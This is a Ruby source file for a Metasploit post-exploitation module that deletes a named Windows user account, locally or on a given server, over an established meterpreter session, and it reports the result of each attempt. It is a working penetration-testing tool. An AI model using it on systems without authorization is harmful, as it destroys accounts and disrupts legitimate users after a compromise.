59 lines
1.7 KiB
Ruby
59 lines
1.7 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/post/windows/accounts'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::Windows::Accounts
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Windows Manage Local User Account Deletion',
|
|
'Description' => %q{
|
|
This module deletes a local user account from the specified server,
|
|
or the local machine if no server is given.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'chao-mu'],
|
|
'Platform' => [ 'win' ],
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [ true, 'The username of the user to delete (not-qualified, e.g. BOB)' ]),
|
|
OptString.new('SERVER_NAME', [ false, ' DNS or NetBIOS name of remote server on which to delete user' ]),
|
|
], self.class)
|
|
end
|
|
|
|
def run
|
|
username = datastore['USERNAME']
|
|
target_server = datastore['SERVER_NAME']
|
|
|
|
status = delete_user(username, target_server ? target_server : nil)
|
|
|
|
case status
|
|
when :success
|
|
print_status 'User was deleted!';
|
|
when :invalid_server
|
|
print_error 'The server you specified was invalid';
|
|
when :not_on_primary
|
|
print_error 'You must be on the primary domain controller to do that';
|
|
when :user_not_found
|
|
print_error 'User did not exist!';
|
|
when :access_denied
|
|
print_error 'Sorry, you do not have permission to delete that user'
|
|
when nil
|
|
print_error 'Something horrible just happened. Sorry.'
|
|
else
|
|
print_error 'This module is out of date'
|
|
end
|
|
end
|
|
end
|